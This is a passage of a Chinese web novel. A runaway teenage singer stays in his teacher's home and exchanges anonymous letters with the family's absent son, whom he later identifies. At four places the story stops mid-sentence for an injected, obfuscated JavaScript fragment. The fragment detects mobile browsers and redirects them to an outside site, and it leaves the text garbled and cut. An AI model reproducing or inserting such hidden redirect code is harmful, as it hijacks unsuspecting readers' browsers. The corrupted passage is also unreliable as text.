他站在已经关闭、但出入口那一块没有锁上的商场门口,看着外界交织的雨幕,心想如果就这么站一晚上肯定会生病,但大晚上想找地方修手机也不容易。 蓝鸢在脑子里盘算着接下来的打算,只是还没想好,就听见商场外传来汽车鸣笛的声音。 蓝鸢抬起头。 “蓝鸢,”下一刻,熟悉的人影推开车门,撑着伞走了过来,“你怎么在这里?” “出来走走。”蓝鸢垂了垂眼,心中思考着这时候到底是说真话还是说假话好,因而有些犹豫,“我……” 他刚刚在思考要不要拦住下一个遇到的路人,但没想到下一个遇到的是自家班主任,而且……也没轮得上蓝鸢主动去拦。 “是不是没带伞?”舒越明见他犹豫,干脆问,“我送你回家?” “不要,我不回家,”蓝鸢这回很果断,“可以借一下老师您的手机吗?或者借我一百块钱也可以。” “不回可以,”舒越明知道蓝鸢家的情况,大概是猜到了发生了什么,因此并没有再劝蓝鸢回家,只不过他停顿片刻,又上下打量了一番,“但是放你一个未成年人一个人在外面太危险了,来我家住一晚上吧,有多余的房间。” 36. 灼伤 蓝鸢于是上了舒越明的车。 上车之后,他才看到副驾驶上还坐着一位中年女性——说是中年,其实看起来挺年轻的,不过蓝鸢已经猜到了她的身份。 “祁屿帆。”那人转过头,对着上车的蓝鸢简短报了名字,也顺便证实了蓝鸢的猜想——这位是他们舒老师的妻子,在他们隔壁大学数学系做教授。 “祁老师好,我是舒老师班上的学生,我叫蓝鸢。”蓝鸢先是很规矩很有礼貌地打了个招呼,接着才有点后知后觉的局促不安。 舒越明是个很好相处的老师,虽然五十多了,但和这群十五六岁的学生时常打成一片,蓝鸢还是他的课代表,同这位老师向来是能开玩笑的关系;但蓝鸢这是第一次见祁屿帆,对于这种看起来不太爱说话的大学教授,高中生多少是有点畏惧感的。 “嗯,你好,”祁屿帆用很平淡的声音回答了一句,又对着舒越明说,“我问问……” 她后半句话声音小了几分,雨声砸在玻璃上很响,所以后排的蓝鸢没太听清。 但这话不是给他说的,他当然不会追问——很久之后的蓝鸢回忆起这时,后知后觉地猜到,当时祁屿帆大概说的是“我问问忱忱宝能不能把他的房间借给小朋友住一晚”之类的话。 而当时的蓝鸢对此并无好奇和打探的心思,他甚至连“老师你为什么出现在这里”都没有问,只是跟着两人回到了他们家。 那是蓝鸢第一次去舒老师家……或者如今回忆起来,也可以说是第一次去祁心忱家。 让他意外的是,祁心忱家在学校附近的一个别墅小区——那个小区二中的学生都知道,同学们经常对此进行一些类似于“十分钟的路程要走一辈子”之类的调侃。蓝鸢对于这种小区的房价没有准确认知,但总归明白这是有钱人小区,不像自己班主任能住得起的地方。 “我爸妈做生意的,房子是他们给买的。”舒越明见蓝鸢疑惑打探的目光,居然还解释了一句——蓝鸢愣了愣,第一反应是心想这不应该是长辈对晚辈需要解释的事情吧,接着才又想到,大抵是为了不让自己暗中怀疑他们有什么不正当收入来源。 而祁屿帆明显比他反应快,刚听到这话,就在一边笑了一声。 “刚刚问了我儿子,说你可以去他房间住一晚,”舒越明继续说,又看向蓝鸢,询问他的意见,“你觉得可以吗?如果不想的话,客房也可以,不过得立刻收拾一下,现在还是空的。” “……会不会不太好?”蓝鸢眨了眨眼,犹豫着问,“不过我怎样都可以的,睡沙发也可以。” “他本人同意,那就没什么不好的吧,”舒越明看起来有些不解地开口,说着说着又突然反应过来,“你是不是以为我在说星燃?这个不是,我们问的是她哥哥。” “哦,那就好。”蓝鸢眨了眨眼,表示自己已经知道了,但内心总归有点疑惑。他只听说过祁星燃,这还是第一次知道舒老师家还有一个小孩——当然,他只是学生,不知道再正常不过。 “还有,你身上的外套和运动裤得去洗一下,都淋湿了,扔洗衣机就可以,”舒越明继续说,“今晚可以在衣柜里随便找一套睡衣穿,明天也可以挑一身外衣穿,他前几年的衣服还在,新一点的也可以,但可能会偏长——不过你如果介意的话……好像也没有别的办法。” “我不介意的。”蓝鸢从小穿他哥淘汰的衣服,当然是无所谓的,而且对于这个没见面就答应让他住自己房间的素不相识的哥哥,蓝鸢第一印象非常好,自然生不出什么主观别扭的情绪,只是比起他,对方的想法显然更加重要,“不过那位哥哥真的也不介意吗?” “都问过了,他说是完全可以,”舒越明说,打开手机低头看了看,“一次性洗漱用品在浴室进门头顶的柜子里,此外让你不要开玻璃展柜和电脑、也不要动书架顶层的东西,别的都可以随便翻。” “嗯,我不会乱动的。”蓝鸢点点头,做出承诺。 舒越明这话一出,对方的宽容变得真实可靠了不少——卧室说到底是很私人的地方,完全愿意将私人场所对陌生人敞开太不正常了,有所要求才是合理的。 蓝鸢如此想着,心中的负罪感少了几分,于是跟着舒越明一起上了二楼,到了一个门口挂着牌子、牌子上画了一颗星星的房间门口。 “就这间。”舒越明在车上已经问到了蓝鸢手机坏掉的事,于是说,“明早会来叫你的,自己调闹钟也可以,他桌上应该是有一个闹钟的。” “好的。”蓝鸢点点头,心想就算舒越明很亲民,自己也不能真让班主任来叫起床——那也太奇怪了。 * 舒越明同他交代了几句,便下了楼,而蓝鸢这才走了进去,并顺道观察了一下这个房间。 整个房间都偏暖色调……准确说是偏橙色调,四周贴着浅橙色的墙纸,顶灯、衣柜、书桌、床等一系列家具都是橙白交替,看起来大概率是一套,床上用品也都是更深一点的橙色。 这个房间给他的第一感觉就是很温暖、很舒适,它的主人大概也是个很温暖的人,蓝鸢心想。 而抛开这些底色,整个房间的基调大概是……干净、有序但拥挤——很久之后蓝鸢才知道,之所以这里还能做到干净有序,是因为祁心忱将家里的书房之一改成了自己的画室,用于集中堆叠无序且散漫的灵感。 房间里东西很多,不让动的透明展柜里关着有各种手办、拼装模型、玻璃奖杯、八音盒、老旧唱片机和画,还有些蓝鸢看不太明白的奇形怪状且看起来可操作的手制物品,以及不知道写或画了什么的、在底层堆了好几摞的稿纸;书桌和床上堆着各式抱枕玩偶,几乎所有平整的家具表面都贴着不同的小贴纸,或者干脆被画了儿童简笔画。 书桌上摆着一摞同款不同期的杂志,这个年代看纸质杂志的人越来越少,蓝鸢看到还觉得有点新奇——而房间里的纸质书当然不止这点,书桌旁就是个很高的书架,里面整整齐齐摆了好几层书,从教材到陈旧的儿童读物到小说画集再到正经的名家作品,跨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437685|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度很大,大概是跨越了书架主人十几年的阅读内容。 他又抬起头,看向同样被嘱咐过“不要动”的书架顶层。 与下面几层摆放的内容不同,顶层放的是一些唱片和音乐光碟,其中大多数都有点年代感,像是上世纪或者本世纪初的产物……于是其中明显色调鲜亮的几个就格外突出,而蓝鸢几乎没有任何难度地靠侧封认出了其中之一。 ——是他,或者说是“迟筝”前不久发布的第一张实体专辑。 蓝鸢被吓了一跳。接着他才想起,他曾经以“录歌”请过假,所以舒越明是知道他的账号的,前不久还说过等他出实体专要买一张收藏。 蓝鸢当时顿了顿,最后说“老师您别带来教室放就行”,舒越明一听笑得特别开心,说如果你期末数学没上140,下学期就把专辑主打歌设置成班歌每天强制全班唱一遍。 于是那场期末考变成了蓝鸢人生前16年最认真的一场考试,他们市的期末一向比较难,蓝鸢非常勉强才避免了社会性死亡的风险。 虽然舒老师大概率是开玩笑,但怕就怕有一分真实的可能性。 不过总之,这里出现他的专辑不奇怪,大概率是舒老师放过来的。只是蓝鸢看了看他的专辑左右两边的名字,一边是火了三十年的巨星歌手,这里摆的是她爆红的出道专;另一边更是一位18世纪的著名钢琴大师,是一套上世纪出的典藏版cd。 “迟筝”两个字出现在这个场合,总觉得非常奇怪。 为了逃避这种轻微的尴尬感,蓝鸢匆匆转移视线,在去洗漱之前,又环顾了一遍这个房间。 最后他的目光落在床头柜上,床头柜上立着一张照片,照片上是一个年轻男生的背影——说背影也不尽然,准确说是背对镜头而坐,但偏了偏头,露出了半边耳朵和漂亮的下颌线。 这大概是这个房间的主人,蓝鸢想。他看上去是坐在甲板上,视线前方是一望无际的蔚蓝海面,在稍远处与同色调的天空相接,身边是纯白的桅杆。他向上伸出手,像是对着远处的世界挥手致意一般。 稍长的头发一部分被扎成了小揪,另一部分散开来,被风吹动纷飞。同样纷飞的还有一群纯白的海鸥,它们环绕着照片中心的年轻人舒展开羽翼,像是在唱着名为自由的、无声的歌。 照片下方写着拍摄日期,是2022年8月2号——蓝鸢记得,初三暑假不需要补课,所以那一天的自己正在楼下奶茶店打工,本来就是暑假临时工,店主没问他年龄,他也没有说过,他那会身高已经一米七五了,戴上口罩和帽子之后,没人会怀疑他是未成年。 蓝鸢眨了眨眼,将视线从照片上移走,而后才去打开旁边的衣柜。 这地方充斥着很强烈的活人居住的气息,蓝鸢心想,和自己的那个整体偏冷感、东西不多且大多数都很陈旧的房间完全不同,连灯光都很温暖而明亮、亮到抬头时会觉得有些刺眼,一如他对那个陌生的、房间主人的第一印象。 一种能灼伤人的明亮。 37. 第一封信 蓝鸢最终一反常态地,在衣柜里挑了颜色最鲜艳的一套睡衣,带着一种自己也说不清道不明的奇怪心理。 他去洗漱完,接着换上睡衣——这套衣服比较新,所以也比较长,毕竟那个哥哥至少比自己大四岁,个子更高并不奇怪。衣服穿在身上有些oversize,显得空空荡荡的,但蓝鸢也没有再换掉它,只折了折袖子和裤腿。 毕竟这是一套很花里胡哨的睡衣,以一种蓝鸢不太能理解的方式将蓝绿红橙黑白混杂在了一起,像是被扔进过搅翻的颜料盘,混乱而无序——他甚至不明白为什么会有人生产这种衣服,又为什么会有人买。 可能这是一种艺术……尚且没有成为艺术生的蓝鸢如是想。艺术到让人觉得新奇,所以才出于某种心理不想换掉。 总之,在此之后,他按照舒老师的说法,将自己的外衣扔进了洗衣机,又挑了一套明天能穿的、不那么艺术的正常衣服,终于是躺在了床上。 头顶的灯光依旧刺眼。蓝鸢侧过身,调了个稍早的闹钟,然后关上灯——几经辗转,这会已经快两点了,二中高中部的早自习是七点半开始,不算早得离谱,但也容不得更晚睡了。 * 到第二天被闹钟叫醒时,蓝鸢小心翼翼收拾好,推开房门,发现外面还是一片安静。 他回过头看了看,闹钟显示还没到七点,于是蓝鸢得到了“大概是自己起得太早”这样的结论。 总之还有一会,他于是回过头,视线在这个房间里转了一圈,最终落在了书桌上。 桌上的角落里有一摞没用过的白色A4纸。出于某种同样说不清道不明的想法的驱使,蓝鸢眨了眨眼,停顿着思考了一会,干脆坐到桌前,小心翼翼抽出一张纸,又从书架上取下一支笔,开始写字。 “to某位素不相识的哥哥”,蓝鸢垂了垂眼,压下心中某些纷繁复杂的、他不太愿意直面的思绪,定了定神,在第一行如是写道。 毕竟对方的房间确确实实收留了自己一晚,蓝鸢想。按理来说应该留点小礼物作为感谢,但他和哥哥吵架出门时只拿上了坏掉的手机和钥匙,别的什么都没有。 大概是因为淋了雨不清醒,前一天晚上脑子乱乱的,做什么都很仓促,如今一早起来才意识到,既然什么都送不出来,那至少得感谢几句——而比起让舒老师转述,还是自己留一张纸条比较好一点。 于是蓝鸢在纸上写了几句感谢的话,犹豫了好几秒,又在后面补上了一句“我看到床头柜的那张照片了,好漂亮呀,好羡慕你能去海边玩”——当然,这话一写出来,蓝鸢就开始后悔了,无论如何,这都不是一句应该放在感谢信里的话。 看起来有点茶,又有点阴阳……即使那确实是蓝鸢的真心话。但如果是当面的话,蓝鸢绝对不会说那样的话。 只是他抬头找了找,发现这个书桌上并没有任何改正带一类的物品。于是他又想了想,干脆在后面加上了卖萌的颜文字,让这话显得可爱一点,接着又换了一只蓝色的笔,在右下角画了一朵蓝色的鸢尾花。 大概是因为这房间里涂鸦太多了……蓝鸢于是猜测,这个房间主人可能是一个喜欢涂鸦的人。 实际上画出来的时候他又有一点点后悔,觉得这些像是自己的随意猜测——那些涂鸦说不定只是小时候画的,况且喜欢画画的人也不见得想收到一份简笔画。 但舒老师刚好在这时候过来敲门,蓝鸢于是不再多想,匆匆将那张纸折叠两次放进床头柜,然后喊了一声“我出来啦”。 那个早上,他依旧像平时那样,准时在早自习开始前三分钟坐在了座位上。 舒越明没忘记他的处境,于是借给了他一笔钱。中午午休时间,蓝鸢跑出去修好了自己的手机,那时候他和哥哥的关系还没到后来的程度,于是手机重新开机后,他接着收到了一大堆来自哥哥的、今天上午发送的道歉短信。 舒越明问他后续打算怎么办,蓝鸢说不怎么办,以前怎样就怎样。舒越明顿了顿,又说会在接下来几天找蓝鸢的哥哥来学校聊一聊。 ……实话说,蓝鸢并不希望被“请家长”,他不觉得这样有用。但站在舒越明的视角上,学生的家庭有问题,作为班主任不可能不找监护人进行任何沟通。 只是舒越明什么时候和他哥哥见面、见面又说了什么,蓝鸢一概不知。 他哥哥并没有告诉他,他也没有问两人中的任何一个。只是在几天之后,他将那套从那个陌生哥哥房间拿的外衣洗好、送去舒越明办公室、又拿回自己那天扔在他家的衣服时,舒越明开口说,如果以后晚上吵架离家出走,可以直接去他家住。 蓝鸢点点头,说好,但并没有真的将这句建议听进去——他和哥哥吵架跑路也不是一次两次,以前都能自己解决的,没必要麻烦老师。 不仅麻烦,而且……或许潜意识里也有点不想去那个太让人羡慕的房子。 蓝鸢本来是这么想的。 但是两个月之后,蓝鸢又一次半夜12点摔了家里的门出去后,望着空空荡荡的街道,突然就有些难过——他不知道自己在难过什么,以前每次半夜离家出走,他都没有什么情绪,生气或者别的都没有,这是他第一次觉得难过,难过到有点茫然。 但茫然的同时,他又清清楚楚知道这种难过的根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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蓝鸢姓夏的同学叫小夏,姓路的同学叫小路,姓水的同学叫水水,姓慕容的同学就叫慕容,那蓝鸢当然也就叫小蓝。 不过小圆这个名字……他确实觉得还不错。 虽然之前没人这么喊过,但比起听了很多年的小蓝,它显然特别一点。于是几乎是一瞬间,蓝鸢就接受了这个称呼。 得再写一封回信,告诉那位陌生哥哥自己还挺喜欢的。蓝鸢想。 只是在此之前,他准备先读完这封信。 38. 回信 虽然这个开场白多少有些让人意外,但紧随其后的,倒是一些蓝鸢意料中的话。 对面的哥哥先是说不用如此拘谨、感谢之类的话也不必要,只是提供一个屋子,自己除了回复家群里的消息外什么都没有做——接着话锋一转,变成了“不过如果你真的想感谢我的话,不如在这里再留下一封回信吧,随便写点什么都可以”。 蓝鸢又笑了一声。 他突然觉得……这位不认识、大概率以后也不怎么会认识的哥哥,大概是个很有意思的人。 而再往下,有意思的哥哥接着就开始讲另一些有意思的事了。 他说那张海上的照片是去年暑假在学校参加社会实践拍的,他们支队的项目是去一个海岛上调研——说是调研,但那个海岛实际上是一个旅游岛,调研旅游经济,本质上当然就是去旅游。 蓝鸢看到这个开头,又突然大概明白……为什么对方能写出这么长一封“回信”了。 在接下来的几个段落中,对面紧接着就开始讲他的实践故事。在那些手写的文字里,讲他遇到的人、碰到的麻烦以及和大家一起解决麻烦的经过、讲他们一同追着风去看漂亮的日出和日落。 ——按理来说,蓝鸢觉得自己应该感到奇怪、或者是感到别扭,毕竟对没见过面的陌生人而言,讲这些内容也多少有些过于自来熟了……但大概同样是因为“过于自来熟”,于是感性而论,他反而并没有发自内心觉得说这些有什么不对的地方。 蓝鸢只是安安静静地读着这些文字,觉得本来不是很好的心情得到了一点治愈,又觉得本来有些难过的感觉更加明显了几分——他知道这是两种矛盾的状态,但它们又确确实实同时出现。 那些故事很有趣、很梦幻,所以让人心情愉快……那些故事距离蓝鸢太远、远到他感觉永远触及不到,所以又很难过。 只是这些不重要的、无关痛痒的情绪,最终都被他压在了心底。 读到最后,他又看到那个哥哥写着,“我还打印了一些照片,放在这封信的下方,如果有兴趣的话,也可以看一看”。 蓝鸢于是将视线重新放回床头柜的抽屉,并且不出意外地,发现在那封信本来的位置下方,确实是一摞白色的硬纸片——他取出那些纸片,翻转过来,看到的是一些风景照。 蓝鸢眨了眨眼,而后一张张翻过。 他从小就在这座城市居住,唯一一次去外地,是小时候和哥哥一起去和别的受害者家属集中交流。 于是这些照片里的风景于他而言自然很陌生……虽然在互联网上多多少少也是看过图片视频的,但没有亲自去过,确实永远无法想象到写在文字里的,那些阳光和海风的气息。 自然,互联网上的照片不能让他有什么身临其境的体会,那这些实体的照片也不能。 但蓝鸢还是很认真地看过了每一张照片,并且得到了“对方很会拍照”这样的结论。如此想着,他又将视线重新落回到信纸上,并看到下一段的第一句是“你会感觉我拍得还挺不错吗?其实这些是我从几千张照片里好不容易挑出来的十几张好看的”。 蓝鸢第三次笑了出声。 “不过照片总归不太能真实呈现出肉眼见到的效果,很多景色更应该争取自己也亲眼去看看的,虽然你现在还得上学呢,”而在这一段之后,那个哥哥继续写道,“等你上大学之后、经济独立以后,或许也会拥有去看更广阔的世界的机会了——我是不是看起来像是要说这句话了?” 确实,蓝鸢如此想着。不过既然这么说,那就说明下一句一定是“但是”。 “你可能在想,我下一句话就是‘但是’——我本来确实打算这么写,然后又一想,我已经将之前那句话写下来了,而那句话本身也并没有什么问题,所以我准备留下它,因此这里没有‘但是’,是不是很意外?”只不过,很顺理成章地,对面像是也预判到了蓝鸢的想法,“当然,如果以后……” 这段话到此戛然而止——字面意义的戛然而止。 实际上,从“当然”开始,之后的所有文字都被划掉了,但大抵是为了不显得太难看,因此对方只是打上了三根横线,稍加辨认一下的话,写的什么依旧一清二楚。 只是如此短短六个字,“以后”之后能接的内容实在是太多了,无论如何都不可能被猜出来。蓝鸢对此有些好奇,但也没有再在回信里追问的打算。 他一向是一个有分寸感的人。虽然对方给他写信,但他们也只是比陌生人熟一点的关系,蓝鸢甚至连对方的名字和身份都一无所知——舒越明没有加以简单的介绍,大抵是觉得没有介绍的意义、或者觉得不应该强行介绍,蓝鸢没有问,是因为没有问的理由和立场。 而对方在回信里同样没有做自我介绍……蓝鸢不知道为什么,他觉得既然都写信了,交换名字是很顺理成章的,但对方不说,大概也有不说的理由,于是蓝鸢也不会再问。 说到底,对方并不是他的朋友。虽然他们给彼此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437687|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写了信,但说到底,对方只是一个在一年以后就不会和他有任何交集的人生过客。 蓝鸢甚至有那么半秒钟,猜测对方刚刚写的那段话说不定是得到了舒越明的授意——虽然舒越明不是什么push的班主任,但任何高中班主任都喜欢说“等你上大学后”这句话,舒老师也不例外。 虽说两年之后、坐在赛时粉丝见面会现场的蓝鸢,听着旁边的简旋安和粉丝说话,后知后觉且设身处地意识到,会对着高中生用“等你上大学后”作为劝学开头的,除了高中老师,还有一类人就是上过大学的小偶像……但当时的蓝鸢对对方一无所知。 他只是很快否定了“舒越明授意”这样的无端猜测,毕竟毫无道理,自己不应该没有根据地加以这种并不太好的猜测。 但蓝鸢也只觉得是对方多少受到了舒越明的职业气息的影响,并未对此多想什么。 他只是低下头,继续看信纸。 写到这里,内容已经接近尾声。对方很自然而没有征兆地转移了话题,写下了“总之,虽然你能看到这封信,说明大概现在不是很开心,但无论如何,还是祝愿你能拥有更多的快乐和幸福”作为收尾。 文字之后画着一颗星星——蓝鸢想起门口牌子上的星星,猜想这大概是对方的某种落款。 而在星星之下,让他意外的……画着一个半身小人,虽然没有上色、又换了套衣服,但因为实在很像,所以蓝鸢还是一眼就能认出来,那张图画的是他前不久为了做PV、而给“迟筝”约的二次元形象。 简笔画的旁边写着一行小字,写的是“觉得很可爱,所以顺手画了”。 蓝鸢顿了顿,突然有些怀疑,自己的专辑出现在这个房间,会不会……其实和舒越明并没有什么关系? 他于是又不由自主抬起头,看向书架的顶层。接着发现自己的专辑还在那里、但被挪了个位置,从两个响亮的名字之间、被移去了另外两个响亮的、同样不应该和他并列的名字之间。 算了。蓝鸢想着,自己都没有意识到自己微微上扬的嘴角。 无论是什么原因,无论是对方早就知道他、还是听舒老师说的,都不是很重要,他又想。他没有那么喜欢自己的互联网身份被拿到线下来宣扬,但小人画得很可爱,所以在那些微妙的愉快的间隙里,蓝鸢也生不出什么混杂其中的细微的负面情绪。 他只用指尖沿着小人的轮廓线描画了一遍,接着起身坐到书桌前,打算给对方写上一封回信。 39. “笔友” 不过虽说是要写回信,但蓝鸢其实并不太清楚自己应该写什么。 对面的陌生哥哥有故事给他分享,但蓝鸢并没有什么故事——真要说的话,他倒是也有学校故事和还债故事,只是这俩都没什么讲述的必要。 前者的话,对方肯定是上过高中的,当然也会经历类似的故事;至于后者,蓝鸢还是不太想在外人面前提自己家的事……虽说舒越明对他们家的情况已经有了很多了解,这个陌生的哥哥从他爸那里听了多少尚且不得而知。 但蓝鸢不想做那个亲口补全故事的人。 他想了想,最后开始写,“还有三天就要期末考试了,感觉化学好难”——这话写出来之后他自己都被自己无语笑了,只是笑到一半,蓝鸢的思绪又突然被一声巨响打断。 他第一反应是快要下雨了。毕竟现在是六月,而上一次身处这里的时候,外面正在下雨——但接下来的第二声响动后,蓝鸢总算听清楚了,那大概是有人在放烟花。 于是他起身,走到了窗边,并拉开了窗帘。运气非常好,烟花升腾起的方位刚好是窗户正对着的方向。 放烟花的位置距离这里大概还有一段距离,因此声响并没有吵闹到震耳欲聋——当然,虽然这边是郊区、但并不是无人区,大晚上放烟花多少会打扰到一些人的休息。 只是蓝鸢确实不在此列。 或许是因为在大多数面前性格比较淡,加上不怎么爱参加集体的打闹活动,所以身边人可能多少会觉得他是一个喜欢安静的小孩——但与这一特征相矛盾的是,蓝鸢其实非常喜欢烟花这种事物。 理性而论,这或许是因为他从小就没有放烟花的经历……至少从记事开始是没有的。但实话说,人的很多偏好就是不能用理性来解释的。与其一定要给所有事进行成因推测,蓝鸢更愿意将其定义为“烟花很漂亮、很绚烂,所以喜欢”。 即使它在半夜十二点大声响起,也不妨碍那些闪烁在空中的光点让人充斥着愉悦的心情。 于是蓝鸢站在窗前,观赏完了整场烟花。 这只是一个普通的星期五,并不是什么节日,但那些烟花差不多放了整整有十分钟——一开始只是普通的、炸开的色彩,到后来又多了些不同的样式。 大概是有人在庆祝对自己有意义的日子吧。蓝鸢心想。 但自己与这些可能的庆祝并没有什么关系。 他只是一个碰巧站在窗边的观众,观看了整场为别人而盛放的烟花——这大概就是烟花的意义,蓝鸢又想,可以将为一个人的庆祝分享给无数的、或许素不相识的观众。 他垂了垂眼,看着远方被遗留下的白烟逐渐消散,才又终于拉上了窗帘,重新坐回到桌前。 “刚刚窗外在放烟花,放了好长时间,还很特别,变换了小猫的形状,闪过了一串英文,虽然我没有看清是什么,”蓝鸢思考了片刻,决定还是将这件事分享给对面……至少这比什么化学考试有值得分享的意义,“我特别喜欢看烟花,感觉很热闹,也很漂亮。” * 从那之后,蓝鸢就和这个陌生的哥哥成为了一种另类的“笔友”。 实际上,他记事的时候,互联网已经很普及了,他只会在家里的旧杂志上看见“笔友”这两个字——但他和陌生哥哥用信交流,虽然没有互相邮寄,但本质上也没有什么差异。 蓝鸢差不多隔两三个月就去舒老师家住一晚,来来回回的,也收到了六七封回信。 不过那个陌生哥哥大概并不经常回家,蓝鸢又想。他和自己亲哥吵架比较严重的时候,一个月去舒老师家躲了三四次,但只有最后一次才收到了回信——只是蓝鸢很有分寸,虽然好奇,也没有问他在哪里上学、读什么专业、在忙什么,只知道对方经常在外面旅游。 每次都能给他分享新见闻,然后发来新照片,像旅行青蛙一样。 不过旅行青蛙会给主人寄自己的照片,陌生哥哥只会送上新鲜出炉的风景照——因此蓝鸢和对方通信过好几次,但依旧发现自己对对方一无所知,连长什么样都不清楚。 一开始他想过很多可能的原因,到最后也差不多意识到,其实只是对方不想给他透露更多的信息了——对方不透露,所以蓝鸢也不再探究,即使他想过能否通过对面的只言片语搜索到相关的消息,毕竟对方去的有些地方太小众了。 但蓝鸢最终想,这大概是对方的一种乐趣,因而放弃了这份探究欲,只当他是一个“神秘的笔友”。 而陌生哥哥给他的最后一封信……是在去年七月底。 在那之后,蓝鸢从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437688|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重点班转入了艺体班,不再是舒越明的学生,因此也没再好意思打扰他。 至于那最后一封信—— 在那一封信里,陌生哥哥没有再给他分享新的照片和见闻,而是在最后说,“我弹了一首曲子,刻进了下面这张有声小贺卡里,你要不要听一听”。 平时放照片的位置,这会确实如他所说,放着一张贺卡。蓝鸢打开贺卡,上面只写着一句很平淡的、很常见的“祝你天天开心”,而同步响起的,是一段陌生的旋律。 陌生的、好听的旋律。 蓝鸢打开手机上的音乐app,点开听歌识曲,试图借此找到关于这首歌的信息……但没有得到任何识别结果。 是你自己写的吗?蓝鸢垂眼看着贺卡上的六个字,默默问——只是他没有再将这个问题写进回信里,因为自己大概很久都不会再收到下一封信了。 他只反复听了好几遍。 这首歌的曲调很灵动、很自由,像是那个陌生的哥哥留给他的印象一样,让他想到空中的飞鸟、想到越过树梢的花瓣、想到海上的风,又让他有些久违的难过。 这回蓝鸢依旧很清晰地知道自己难过的根源,但又并不想阻止这种思绪的生长。他只觉得难过到有些想哭,所以将脑袋埋进了枕头里。 这确实是自己睡过的最柔软的一个枕头,蓝鸢无端地想着。应该早点问问是什么材质的,虽然自己大概也不会买。 * 而在那个二公快要进行的晚上,蓝鸢站在宿舍的阳台上,久违地收到了一封类似的“信”——或者说信也不合适,比起曾经的长篇大论,那只是一张小纸条。 但小纸条的开头和结尾都是熟悉的模样。 我早该意识到的。蓝鸢又一次想。 在祁心忱指导他们时在歌词单上随手写下几个字的时候、在他翻祁心忱微博翻到他的画的时候、在躺在宿舍的被子里悄悄戴上耳机点开祁心忱的歌的时候。 只是此时此刻,这些错过的推理点都不是很重要了。 祁心忱的房间并不在他们宿舍的正上方,那放下纸鹤的地方肯定就是天台。 蓝鸢如此想着,又叹了口气,最终还是捏着被展开的纸鹤,带着混乱的思绪,转身推开了宿舍的门,走向了楼梯间的方向。 40. 天台 宿舍楼天台的门关着,但没有锁。 蓝鸢在门前停顿片刻,又垂眼看了看手表上的时间,确认现在已经过了12点了,不违背他们分别时自己说的那句“明天见”,这才推开了天台门——不出所料,祁心忱站在围栏边上,听见声响,然后回过头看他。 蓝鸢于是开始思考,这种时候是说话才能把握住接下来对话的主导权,还是保持沉默凝视能把握住主导权……但还没想出来名堂,祁心忱就先说话了。 “你来啦。”他说,虽然语末带着上扬,但蓝鸢却听不出什么太明显的情感色彩。 “嗯。”于是蓝鸢选择点点头,将问题抛给对面,“不是你叫我上来的吗?” 祁心忱神色顿了顿,像是得到了一个有点意料之外的回应般。 “……也算是吧,我脑子里想的是五五开的概率,”他最后笑了一声,又问,“你现在还生气吗?” “你怎么好意思问的。”蓝鸢沉默了片刻,才垂了垂眼说。 只是话是这么说,他也没有真的正面回答这个问题——能回答什么呢,蓝鸢想,他那一点点不满的情绪已经在回到宿舍的几分钟后消失殆尽,理性而论,不应该为了这种小小的隐瞒而生气;感性而论,想到之前的好多封信,想到烟花和千纸鹤,蓝鸢也起不了什么负面的情绪。 毕竟……祁心忱本人虽然比他在信里塑造的那个形象,多了点爱看乐子和唯恐天下不乱的属性,但这事大概也真不是故意的,只是没有处理好而已。 事实上也没有造成什么太大的影响。 他所能想到这件事最严重的影响,无非也就是……可能会有那么少数的一两个瞬间显得有点微妙。 比如蓝鸢想到之前初舞台时,pd让他们自我介绍。他们组几个人轮着说过去,到最后才轮到最没地位的蓝鸢。 “我是个人练习生蓝鸢,定位是vocal担,”他举起话筒,先是问好,接着做出简短的发言……但这发言实在太短了,而让他学着旁边那位一样来段相声蓝鸢也嫌丢人,所以他想了想,补了一句,“大家也可以叫我小圆,圆满的圆。” 总之,从那之后……这个称呼便成了从身边练习生到互联网粉丝对他的统一代称。唯一例外的是有一小群唱见时期的粉丝,会选择叫他筝筝或者筝宝。 蓝鸢做出这句自我介绍时,想的是这是他最喜欢的一个称呼,来自一个对他来说很有意义的人生过客。而既然过客已经成为了过客,那让这个名字一直跟着自己,大概也是一件有意义的事。 